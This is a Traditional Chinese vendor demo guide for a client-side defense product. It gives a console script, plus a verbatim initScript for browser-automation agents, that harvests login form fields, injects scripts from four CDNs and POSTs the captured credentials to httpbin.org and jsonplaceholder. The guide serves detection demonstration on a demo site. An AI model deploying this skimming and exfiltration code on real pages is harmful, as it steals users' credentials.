跳到內容

觸發偵測

CSD 監控瀏覽器內部的 JavaScript 行為。與 WAF 或 Bot Defense 不同,您無法使用 curl 指令觸發 CSD 偵測——它需要真實的瀏覽器端腳本活動。以下合併腳本在單次執行中觸發所有三種 CSD 偵測訊號:表單欄位收割、從多個 CDN 網域注入第三方腳本,以及向外部端點進行資料外洩。

  1. 前往 Juice Shop 的登入頁面,網址為 https://botdemo.sales-demo.f5demos.com/#/login

  2. 在表單欄位中輸入虛假憑證——在 Email 欄位輸入 test@example.com,在 Password 欄位輸入 P@ssword123(請勿提交表單)

  3. 開啟開發人員工具(F12Console 分頁)

    Empty DevTools Console ready for script inputEmpty DevTools Console ready for script input
  4. 將以下腳本貼入主控台並按下 Enter——它會以自執行函式的方式自動執行

    Combined Detection Script
    // CSD Demo — Combined Detection Script
    // Triggers ALL CSD detection signals: field reads, script injection, exfiltration
    (function() {
    console.log('='.repeat(50));
    console.log('[CSD Demo] Combined Detection Script — Starting');
    console.log('='.repeat(50));
    // Phase 1: Harvest all form fields (CSD tracks field reads on page-load DOM fields)
    console.log('\n[Formjack] Phase 1: Form field harvesting');
    var inputs = document.querySelectorAll('input');
    var harvested = {};
    inputs.forEach(function(input) {
    var name = input.name || input.id || input.type;
    harvested[name] = input.value || '(empty)';
    });
    console.log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
    // Phase 2: Inject third-party scripts from 4 CDN domains
    console.log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
    var cdns = [
    { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
    { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
    { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
    { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
    ];
    cdns.forEach(function(cdn) {
    var script = document.createElement('script');
    script.src = cdn.url;
    script.onload = function() {
    console.log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url);
    };
    script.onerror = function() {
    console.log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url);
    };
    document.head.appendChild(script);
    console.log('[Supply Chain] Injected script tag: ' + cdn.name);
    });
    // Phase 3: Exfiltrate harvested data to external endpoints
    console.log('\n[Exfil] Phase 3: Data exfiltration');
    var payload = JSON.stringify({
    type: 'combined_demo',
    credentials: harvested,
    page: window.location.href,
    timestamp: Date.now()
    });
    fetch('https://www.httpbin.org/post', {
    method: 'POST',
    mode: 'no-cors',
    body: payload
    }).then(function() {
    console.log('[Exfil] Data sent to www.httpbin.org');
    });
    fetch('https://jsonplaceholder.typicode.com/posts', {
    method: 'POST',
    mode: 'no-cors',
    headers: { 'Content-Type': 'application/json' },
    body: payload
    }).then(function() {
    console.log('[Exfil] Data sent to jsonplaceholder.typicode.com');
    });
    // Summary
    console.log('\n' + '='.repeat(50));
    console.log('[CSD Demo] Simulation complete');
    console.log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
    console.log('[CSD Demo] Scripts injected: ' + cdns.length + ' (4 CDN domains)');
    console.log('[CSD Demo] Exfil channels: 2 (fetch POST)');
    console.log('[CSD Demo] Detection takes 5-10 minutes to appear in the CSD console.');
    console.log('='.repeat(50));
    })();
  5. 觀察分階段的 [CSD Demo] 主控台輸出,確認每個步驟均已完成:欄位收割、從 4 個 CDN 網域注入腳本,以及資料外洩。esm.sh 提供 ES 模組語法(export default …)——當以傳統 <script> 標籤載入時,會產生 Uncaught SyntaxError: Cannot use import statement outside a module。這是預期行為,不影響 CSD 偵測(腳本標籤仍會被注入,且網路請求仍會發出)

    Console output after running the simulation scriptConsole output after running the simulation script

配備瀏覽器自動化工具的 AI 助理(MCP Chrome DevTools、Playwright、Puppeteer)可以透過程式化方式執行模擬,而無需依照上述手動步驟操作:

  1. 使用 initScript 進行導航 — 首先導航至 about:blank 以確保文件環境乾淨,然後使用 navigate_page 前往登入頁面網址(例如 http://$F5XC_DOMAINNAME/#/login),並附帶一個 initScript,該腳本會在 zone.js 修補之前儲存原生的 setIntervalclearIntervalfetchconsole.log,輪詢登入表單欄位,透過原生 HTMLInputElement.prototype.value setter 填入憑證,並立即在內嵌方式執行合併偵測腳本。請使用下方的逐字 initScript。
  2. 關閉歡迎橫幅 — 使用 Escape 鍵執行 press_key 以關閉歡迎橫幅。後續訪問時橫幅可能不會出現(Cookie 已持久化)
  3. 等待完成 — 等待 10 秒,讓所有 CDN 腳本載入/錯誤回呼及 fetch Promise 解析完成
  4. 擷取證據 — 使用 list_console_messages 確認是否出現 [CSD Demo] Simulation complete;使用 list_network_requests 篩選 scriptfetch 類型,以驗證 HTTP 狀態碼

initScript 框架(逐字內容——為自動化執行包裝合併偵測腳本):

// Save native references before zone.js patches them
var _si = window.setInterval.bind(window);
var _ci = window.clearInterval.bind(window);
var _fetch = window.fetch.bind(window);
var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection script
var _poll = _si(function() {
var emailEl = document.querySelector('input[type="email"]');
var passEl = document.querySelector('input[type="password"]');
if (emailEl && passEl) {
_ci(_poll);
// Fill credentials via native setter (bypasses zone.js)
var nativeSet = Object.getOwnPropertyDescriptor(
window.HTMLInputElement.prototype, 'value').set;
nativeSet.call(emailEl, 'test@example.com');
emailEl.dispatchEvent(new Event('input', { bubbles: true }));
nativeSet.call(passEl, 'P@ssword123');
passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil
(function() {
_log('==================================================');
_log('[CSD Demo] Combined Detection Script — Starting');
_log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting');
var inputs = document.querySelectorAll('input');
var harvested = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
harvested[name] = input.value || '(empty)';
});
_log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
var cdns = [
{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
];
cdns.forEach(function(cdn) {
var script = document.createElement('script');
script.src = cdn.url;
script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); };
script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); };
document.head.appendChild(script);
_log('[Supply Chain] Injected script tag: ' + cdn.name);
});
_log('\n[Exfil] Phase 3: Data exfiltration');
var payload = JSON.stringify({
type: 'combined_demo', credentials: harvested,
page: window.location.href, timestamp: Date.now()
});
_fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload })
.then(function() { _log('[Exfil] Data sent to www.httpbin.org'); });
_fetch('https://jsonplaceholder.typicode.com/posts', {
method: 'POST', mode: 'no-cors',
headers: { 'Content-Type': 'application/json' }, body: payload
}).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n==================================================');
_log('[CSD Demo] Simulation complete');
_log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
_log('[CSD Demo] Scripts injected: 4 (4 CDN domains)');
_log('[CSD Demo] Exfil channels: 2 (fetch POST)');
_log('==================================================');
})();
}
}, 300);

關於原生 fetch 的說明: 此框架儲存 window.fetch.bind(window) 以避免 zone.js 錯誤。這是所有攻擊模擬階段的正確行為。CSD 緩解措施封鎖腳本載入(透過清除 &lt;script&gt; 標籤的 src 值),而非封鎖 fetch() 呼叫,因此儲存原生 fetch 參考不會影響緩解行為。第二階段和第三階段均使用相同的 initScript。

不具備瀏覽器自動化工具的操作人員請使用上述手動步驟。

合併模擬腳本觸發所有三種 CSD 偵測訊號:

行為腳本的操作CSD 偵測到的內容
欄位收割讀取現有 input 元素的值(電子郵件、密碼)腳本讀取敏感表單欄位——標記為高風險
腳本注入附加 4 個 <script> 標籤,從 cdn.jsdelivr.netesm.shunpkg.comga.jspm.io 載入頁面上出現 4 個新的第三方腳本網域
資料外洩透過 fetch 將收割的資料傳送至 www.httpbin.orgjsonplaceholder.typicode.com對外部網域發出網路呼叫(注意:fetch 目的地以腳本網路互動方式顯示,而非出現在網路網域檢視中)

上述合併腳本是適用於大多數示範的簡化三階段版本(收割、注入、外洩)。攻擊腳本庫提供 10 個依攻擊類型分類的針對性腳本,包括一個最大偵測壓力測試,在合併腳本涵蓋範圍的基礎上,額外加入 DOM 操作、Cookie 外洩及圖片信標通道。請使用個別腳本來單獨示範特定攻擊類別(表單劫持、數位側錄、供應鏈注入、資料外洩、DOM 操作)。